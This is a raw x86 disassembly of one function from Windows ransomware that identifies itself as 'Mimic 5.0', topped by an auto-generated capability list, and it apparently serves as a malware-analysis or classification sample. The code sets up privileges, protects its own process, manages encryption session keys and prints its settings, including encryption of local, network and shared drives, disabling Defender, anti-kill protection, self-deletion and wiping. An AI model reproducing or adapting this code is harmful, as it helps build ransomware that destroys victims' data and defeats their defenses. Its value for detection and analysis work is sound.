Function at 0x463b70
Capabilities:
Accept command line arguments
Check if file exists
Disable system features via registry on windows
Encode data using base64
Enumerate processes
Manipulate boot configuration
Set current directory
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572e34
mov eax, dword fs:[0]
push eax
sub esp, 0x334
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x1f4
mov dword [ebp - 0x334], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov cl, 1
mov dword [ebp - 4], 0
call fcn.00456a40
push 0x5ebab8
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], 0xffffffff
call fcn.00449770
mov dword [ebp - 4], 4
lea ebx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea edi, [ebp - 0x4c]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
cmovae ebx, dword [ebp - 0x4c]
add ebx, dword [ebp - 0x3c]
cmp dword [ebp - 0x38], 0x10
mov dword [ebp - 0x20], 7
cmovae edi, dword [ebp - 0x4c]
xor eax, eax
mov word [ebp - 0x34], ax
mov eax, ebx
sub eax, edi
push eax
call fcn.0044bc20
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x34]
push ebx
push edi
call fcn.0044bdb0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
mov ecx, 0x5ebbc0
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
push eax
call fcn.0044a8b0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x463c84
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x463c7a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x463cbf
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x463cb5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46671d
push edx
push ecx
call fcn.0052edf8
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test byte [0x5f1776], 2
mov dword [0x5f17b0], eax
je 0x463cd8
call fcn.0045b5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x5f22c4
mov dword [0x5f22e0], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.Rstrtmgr.dll
mov byte [0x5f2082], 1
call esi
test eax, eax
je 0x463d12
mov dword [0x5f230c], 1
jmp 0x463d26
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restart_manager_not_loaded__Code__lu.
call fcn.00463390
add esp, 8
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
test edi, edi
jne 0x463d44
push str.ntdll.dll
call esi
mov edi, eax
test edi, edi
je 0x463d64
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSetInformationProcess
push edi
call esi
push str.NtQueryInformationProcess
push edi
mov dword [0x5f19e0], eax
call esi
mov dword [0x5f19dc], eax
call fcn.00469400
push 0x5f2288
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov al, byte [0x5f17a1]
mov edx, 0xb
mov byte [0x5f17bf], al
mov ecx, 0xa
mov al, byte [0x5f174a]
mov byte [0x5f17a6], al
mov al, byte [0x5f1777]
test al, al
mov byte [0x5f17bc], 1
mov byte [0x5f17b5], al
cmove ecx, edx
mov dword [0x5eb9f0], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x334], esi
call fcn.0045a0e0
push str.Mimic_5.0
push 0x5d8e20
call fcn.00463390
push str.SYSTEMDRIVE
call fcn.005517e6
mov edx, eax
mov dword [ebp - 0x24], 0
mov ecx, edx
mov dword [ebp - 0x20], 7
add esp, 0xc
xor eax, eax
mov word [ebp - 0x34], ax
lea edi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x463e00
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
call fcn.0044a8b0
push 0xe
push str._templock.txt
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 6
call fcn.00451c00
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x20]
test eax, eax
je 0x463eb6
cmp edx, 8
jb 0x463e86
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x463e7c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466722
push edx
push ecx
call fcn.0052edf8
add esp, 8
push str.____Dev_
call fcn.00463390
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret 0x10
cmp edx, 8
jb 0x463eed
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x463ee3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466727
push edx
push ecx
call fcn.0052edf8
add esp, 8
push str.___SysInfo...
mov dword [ebp - 4], 7
call fcn.00463390
add esp, 4
call fcn.004769b0
mov dword [ebp - 4], 0xffffffff
jmp 0x463f36
push esi
push str.CMDLINE:_____s
call fcn.00463390
push str.___Set_Privileges...
mov dword [ebp - 4], 9
call fcn.00463390
add esp, 0xc
call fcn.00469af0
test al, al
jne 0x463f72
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_grant_privileges__Code__lu
call fcn.00463390
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x463fa2
mov eax, dword [0x5eb9f0]
cmp eax, 0xe
jne 0x4640f1
push dword [0x5f17b8]
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x463e93
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
xor eax, eax
mov dword [ebp - 0x24], 0
push 0x5d8fb0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
call fcn.0044a8b0
mov ecx, 0x5f1df8
mov dword [ebp - 4], 0xb
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x464010
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f1df8
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 2
push 0x5d8fb4
lea ecx, [ebp - 0x34]
call fcn.00451c00
cmp dword [0x5ebbec], 8
lea ecx, [ebp - 0x34]
push dword [0x5ebbe8]
mov eax, 0x5ebbd8
cmovae eax, dword [0x5ebbd8]
push eax
call fcn.00451c00
push 1
push 0
xor dl, dl
mov ecx, 0x5f1bf0
call fcn.0046df60
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 5
cmp byte [0x5f17bd], al
push 0x2710
cmovne eax, ecx
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046e500
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x4640ea
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4640e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46672c
push edx
push ecx
call fcn.0052edf8
add esp, 8
xor eax, eax
jmp 0x463e98
cmp eax, 0xf
jne 0x464146
push str.Unlocker1_started.
call fcn.00463390
add esp, 4
push 0
push 0
push 0
push 0x45c870
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
mov dword [0x5f2260], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0046e360
call fcn.0045c950
push str.Unlocker1_finished.
call fcn.00463390
add esp, 4
xor eax, eax
jmp 0x463e98
cmp eax, 0x10
jne 0x46419b
push str.Unlocker2_started.
call fcn.00463390
add esp, 4
push 0
push 0
push 1
push 0x45c870
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
mov dword [0x5f2264], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0046e360
call fcn.0045c950
push str.Unlocker2_finished.
call fcn.00463390
add esp, 4
xor eax, eax
jmp 0x463e98
push str.___Priority...
mov dword [ebp - 4], 0xc
call fcn.00463390
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 4
push 0x80
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ebx, dword [0x5f19e0]
mov dword [ebp - 0x50], 3
test ebx, ebx
je 0x464203
push 4
lea eax, [ebp - 0x50]
push eax
push 0x21
call edi
push eax
call ebx
jmp 0x464203
push esi
call dword [sym.imp.SHLWAPI.dll_PathGetArgsW]
mov ebx, eax
mov dword [ebp - 0x8c], 0
xor eax, eax
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x88], 7
mov word [ebp - 0x9c], ax
mov dword [ebp - 4], 0xe
push str.___Autostart...
mov byte [ebp - 4], 0xf
call fcn.00463390
add esp, 4
lea ecx, [ebp - 0x9c]
mov edx, ebx
call fcn.0046f010
test al, al
jne 0x464280
mov ecx, 0x5f1df8
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x464260
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f1df8
lea ecx, [ebp - 0x9c]
call fcn.0044a8b0
mov dword [ebp - 4], 0xe
jmp 0x4642ad
push str.___Relaunch...
mov byte [ebp - 4], 0x11
call fcn.00463390
add esp, 4
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x88], 8
lea ecx, [ebp - 0x9c]
mov edx, ebx
cmovae ecx, dword [ebp - 0x9c]
push eax
call fcn.0046eae0
add esp, 4
test eax, eax
je 0x464346
mov edx, dword [ebp - 0x88]
cmp edx, 8
jb 0x464324
mov ecx, dword [ebp - 0x9c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46431a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466731
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov eax, dword [ebp - 0x50]
jmp 0x463e98
push str.___Register_hotkey...
mov dword [ebp - 4], 0xe
call fcn.00463390
add esp, 4
push 0
push 0
push 0
push 0x45b780
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.___Change_Process_DACL...
mov byte [ebp - 4], 0x13
call fcn.00463390
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 8
mov edi, eax
call fcn.0055249a
add esp, 4
mov esi, eax
push 2
push 8
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
jne 0x4643ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4643bd
push 0
push esi
push 0
push 0
push 4
push 6
push edi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
push esi
call fcn.0054a56a
add esp, 4
push str.___Set_current_dir...
mov dword [ebp - 4], 0xe
call fcn.00463390
add esp, 4
push 0x5f19e8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x5f19e8
lea ecx, [ebp - 0x74]
call fcn.00449530
push 0xc
push str._session.tmp
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x15
call fcn.00451c00
push 0x5f2000
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x46447d
push str.___Found_previous_session_key_in_backup
call fcn.00463390
cmp dword [ebp - 0x60], 8
lea edx, [ebp - 0x74]
push 1
cmovae edx, dword [ebp - 0x74]
mov ecx, 0x5f2000
call fcn.0045b010
add esp, 8
test eax, eax
je 0x464469
cmp dword [ebp - 0x60], 8
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
push str.___Restore_previous_session_key_success._Path:__s
jmp 0x464475
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restore_previous_session_key_failed._Code__lu.
call fcn.00463390
add esp, 8
xor cl, cl
mov byte [ebp - 4], 0x16
call fcn.00456a40
mov dword [ebp - 4], 0x15
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
cmovae eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4644e0
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x74]
push 1
cmovae ecx, dword [ebp - 0x74]
mov edx, 0x5f2000
call fcn.0045b010
add esp, 4
test eax, eax
je 0x4644d2
push str.___Backup_session_key_success
call fcn.00463390
add esp, 4
jmp 0x4644f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Backup_session_key_failed._Code__lu.
jmp 0x4644f1
cmp dword [ebp - 0x60], 8
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
push str.____Connot_find_own_session_key._Path:__s
call fcn.00463390
add esp, 8
push 0x5f19e8
push str.___Protect_directory...:__s
call fcn.00463390
add esp, 8
lea ecx, [ebp - 0x34]
push 0x5f19e8
call fcn.00449530
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
push 6
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 0
cmovae eax, dword [ebp - 0x34]
push 0x2000000
push 3
push 0
push 7
push 0x10e0000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4645ba
cmp byte [0x5f17c2], 0
je 0x464584
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
push str.____Failed_to_read_permissions:__s__Code__lu
call fcn.00463390
add esp, 0xc
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x46460c
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464602
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
jmp 0x464602
mov eax, dword [0x5f19d8]
test eax, eax
je 0x4645f9
push 0
push eax
push 0
push 0
push 4
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
test eax, eax
je 0x4645f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
push str.____SetSecurityInfo_failed__folder:__s__Code__lu
call fcn.00463390
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x464584
push edx
push ecx
call fcn.0052edf8
add esp, 8
push str.___Embedded_settings:
call fcn.00463390
push str._____________________
call fcn.00463390
cmp dword [0x5ebafc], 8
mov eax, 0x5ebae8
cmovae eax, dword [0x5ebae8]
push eax
push str.___NoteId:_____________s
call fcn.00463390
mov ecx, dword [0x5f17a8]
mov eax, dword [0x5f17ac]
shrd ecx, eax, 5
push ecx
push str.___Keys_count:_________i
call fcn.00463390
call fcn.004562e0
movzx eax, al
push eax
push str.___Encrypt_percent:____i___
call fcn.00463390
movzx eax, byte [0x5f17a5]
push eax
push str.______for_files:________i_MiB
call fcn.00463390
add esp, 0x28
mov dword [ebp - 0x24], 0
cmp dword [0x5ebacc], 0x10
lea ecx, [ebp - 0x34]
mov ebx, 0x5ebab8
mov dword [ebp - 0x20], 7
cmovae ebx, dword [0x5ebab8]
mov edi, 0x5ebab8
add ebx, dword [0x5ebac8]
cmp dword [0x5ebacc], 0x10
cmovae edi, dword [0x5ebab8]
xor eax, eax
mov word [ebp - 0x34], ax
mov eax, ebx
sub eax, edi
push eax
call fcn.0044bc20
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x34]
push ebx
push edi
call fcn.0044bdb0
mov ebx, 1
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
cmovae eax, dword [ebp - 0x34]
push eax
push str.___Extension:__________s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x46473d
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464733
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
cmp dword [0x5ebb2c], 8
mov eax, 0x5ebb18
cmovae eax, dword [0x5ebb18]
push eax
push str.___Note_file_name:_____s
call fcn.00463390
mov eax, dword [0x5f176c]
shl eax, 0xa
shr eax, 0xa
push eax
push str.___File_max_size:______lu_KiB
call fcn.00463390
mov eax, dword [0x5f1770]
shl eax, 0x14
shr eax, 0x14
push eax
push str.___Process_max_RAM:____lu_MiB
call fcn.00463390
cmp byte [0x5f17b6], 0
mov esi, 0x5d974c
mov eax, esi
mov edi, 0x5d9754
cmove eax, edi
push eax
push str.___Self_delete:________s
call fcn.00463390
cmp byte [0x5f1775], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Priority_modify:____s
call fcn.00463390
cmp byte [0x5f17be], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Log_check_sum:______s
call fcn.00463390
cmp byte [0x5f17b4], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_single:_____s
call fcn.00463390
cmp byte [0x5f17bc], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_local:______s
call fcn.00463390
add esp, 0x40
mov eax, esi
cmp byte [0x5f17bf], 0
cmove eax, edi
push eax
push str.___Encrypt_net_drive:__s
call fcn.00463390
cmp byte [0x5f17a6], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_net_prio:___s
call fcn.00463390
cmp byte [0x5f17b5], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_share:______s
call fcn.00463390
cmp byte [0x5f17b7], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Anti_Kill_protect:__s
call fcn.00463390
cmp byte [0x5f17a4], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Disable_defender:___s
call fcn.00463390
cmp byte [0x5f17bd], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Visible:____________s
call fcn.00463390
cmp byte [0x5f17a0], 0
cmove esi, edi
push esi
push str.___Wipe_parallel:______s
call fcn.00463390
movzx eax, byte [0x5f1776]
push eax
push str.___Log_level:__________i
call fcn.00463390
movzx eax, byte [0x5f17a2]
add esp, 0x40
sub eax, 0
je 0x4648df
sub eax, 1
je 0x4648d8
sub eax, 1
jne 0x4648f1
push str.Full
jmp 0x4648e4
push str.Partial
jmp 0x4648e4
push str.None
push str.___Reserve_mode:_______s
call fcn.00463390
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x1c
mov edi, dword [0x5f20f4]
mov esi, dword [edi]
cmp esi, edi
je 0x46499c
nop word [eax + eax]
lea edx, [esi + 8]
push 0x5d9a5c
lea ecx, [ebp - 0xb4]
call fcn.00453190
add esp, 4
mov byte [ebp - 4], 0x1d
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x464945
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00451c00
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x464993
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464989
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464920
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x5d9a60
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4649f2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4649e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x1e
mov edi, dword [0x5f20b4]
mov esi, dword [edi]
cmp esi, edi
je 0x464a9c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5d9a5c
lea ecx, [ebp - 0xb4]
call fcn.00453190
add esp, 4
mov byte [ebp - 4], 0x1f
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x464a45
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00451c00
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x464a93
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464a89
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464a20
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Ext._exclude:______s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x464af2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464ae8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x20
mov edi, dword [0x5f2144]
mov esi, dword [edi]
cmp esi, edi
je 0x464b9c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5d9a5c
lea ecx, [ebp - 0xb4]
call fcn.00453190
add esp, 4
mov byte [ebp - 4], 0x21
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x464b45
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00451c00
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x464b93
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464b89
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464b20
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Files_exclude:_____s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x464bf2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464be8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x22
mov edi, dword [0x5f20bc]
mov esi, dword [edi]
cmp esi, edi
je 0x464cdd
nop dword [eax + eax]
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 2
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc20
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x464c5f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 1
push 0x5d9a5c
lea ecx, [ebp - 0x34]
call fcn.00451c00
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c00
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x464cd0
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464cc6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464c20
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Dirs_exclude:______s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x464d33
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464d29
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x24
mov edi, dword [0x5f20c4]
mov esi, dword [edi]
cmp esi, edi
je 0x464e20
nop dword [eax]
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 4
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc20
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x464d9f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 1
push 0x5d9a5c
lea ecx, [ebp - 0x34]
call fcn.00451c00
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c00
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x24
and ebx, 0xfffffffb
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x464e13
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464e09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464d60
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
